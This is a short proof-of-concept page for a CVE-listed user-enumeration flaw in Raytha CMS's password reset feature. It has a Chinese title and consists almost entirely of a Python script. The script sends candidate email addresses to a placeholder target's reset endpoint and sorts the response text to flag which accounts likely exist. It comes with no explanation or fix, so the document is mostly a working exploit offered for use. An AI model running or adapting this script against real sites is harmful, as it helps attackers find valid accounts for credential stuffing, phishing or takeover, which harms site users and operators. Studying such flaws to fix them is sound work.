CVE-2025-69243: Raytha CMS 密码重置功能用户枚举漏洞

import requests import re target_url = "https://target-website.com/auth/password-reset" # List of potential usernames/emails to test test_accounts = [ "[email protected]", "[email protected]", "[email protected]" ] for account in test_accounts: payload = {"email": account} response = requests.post(target_url, data=payload) # Analyze response messages to identify valid users if "not found" in response.text.lower() or "invalid" in response.text.lower(): print(f"[-] Account does not exist: {account}") elif "reset" in response.text.lower() or "email" in response.text.lower(): print(f"[!] Potential valid account: {account}") else: print(f"[*] Unknown response for: {account}")